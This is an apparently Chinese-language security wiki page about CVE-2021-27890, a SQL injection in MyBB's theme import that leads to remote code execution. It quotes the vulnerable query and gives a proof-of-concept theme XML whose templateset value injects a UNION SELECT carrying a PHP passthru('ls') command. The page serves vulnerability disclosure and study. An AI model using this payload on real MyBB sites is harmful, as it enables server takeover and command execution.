menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right MyBB sql注入导致的远程代码执行 (CVE-2021-27890).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    MyBB sql注入导致的远程代码执行 (CVE-2021-27890).md
    1.06 KB / 2021-05-21 09:14:38
        # MyBB sql注入导致的远程代码执行 (CVE-2021-27890)
    
    MyBB在读取模板属性templateset的时候会进行SQL查询操作,而templateset并没有经过任何预处理,因此导致SQL注入。
    
    影响版本
    
    1.8.16 <= MyBB <= 1.8.25
    
    Mybb导入主题时可以解析xml文件,存储至数据库。在每次页面加载时,MyBB从数据库中获取所有可能的模板值,并存储在缓存中。提取所有模板值的SQL查询使用templateset属性,该属性未经处理就嵌入查询字符串中。因此,存在一个SQL注入漏洞:
    
    ```sql
    $query = $db->simple_select("templates", "title,template",
        "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')",
        array('order_by' => 'sid', 'order_dir' => 'asc')
    ```
    
    Poc:
    
    ```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <theme name="Default" version="1821">
       <properties>
          <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset>
       </properties>
    </theme>
    ```
    
    ref:
    
    https://blog.sonarsource.com/mybb-remote-code-execution-chain
    
    links
    file_download